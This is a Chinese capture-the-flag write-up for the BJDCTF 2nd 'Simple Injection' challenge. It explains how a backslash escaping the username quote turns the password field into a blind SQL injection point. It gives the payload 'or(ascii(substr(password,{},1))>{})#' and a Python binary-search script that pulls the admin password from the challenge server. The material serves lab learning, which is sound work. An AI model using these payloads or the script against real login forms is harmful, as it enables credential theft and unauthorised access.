[BJDCTF 2nd]简单注入
考点:盲注
启动:拿到题目,先扫一下目录
发现有robots.txt,里面提示了一个hint.txt。访问hint.txt
有一条后台查询语句:select * from users where username='$_POST["username"]' and password='$_POST["password"]';
应该有注入点
回到登入框处,尝试注入,发现加单双引号都被过滤fuzz一下
长度为1414的都被过滤,包括select,and,=,等。
很明显联合注入用不了,报错注入无回显也不行。考虑盲注。
当username=admin&password=or 1#
时可引发盲注
select * from users where username='admin\' and password='or 1#';
这时的后台语句变成这样的,用反斜杠转义username后面那个单引号,所以username的第一个单引号只能与password的第一个单引号闭合,最后一个单引号被注释,所以or后面那块就可以由我们自由发挥了。
举个例子:
如果传入`username=admin\ password=123456#`
就会变成
`select * from users where username='admin\' and password='123456#';`
可以理解为
select * from users where username='admin and password=' 恶意代码 #';
在这里因为限制比较多,直接查数据库里的表列内容比较难,我们可以直接查password的值。
这题的爆表的姿势怎么说呢。。就是直接对username和password这两个列进行操作,自己之前不知道可以直接对列操作,以为必须要select才可以。在前面已经FROM users的情况下,是可以执行对列进行操作的,因此可以直接爆列的内容。
读取password的值:username=admin\&password=or(ascii(substr(password,{},1))>0)#
发现有不同回显,所以方法可行,使用脚本跑一下
上脚本,因为 = 号也被过滤了,只能用>,不能爆破,只能用二分法:
脚本如下:
import requests
url='http://5359b7aa-506f-4bbc-a401-dde18a3754e9.node3.buuoj.cn'
flag=''
for i in range(1, 30):
high=128
low=32
mid=(high+low)//2
while low<high:
payload = "or(ascii(substr(password,{},1))>{})#".format(i, mid)
data = {"username": "admin\\", "password": payload}
re = requests.post(url, data=data)
if "stronger" in re.text:
low=mid+1
else :
high=mid
mid=(high+low)//2
if (low == 32 or high == 128):
break
flag += chr(mid)
print(flag)
运行脚本获得password,username也可以这样获取,但是试了试发现username就是admin
跑出密码后用admin登入即可获得flag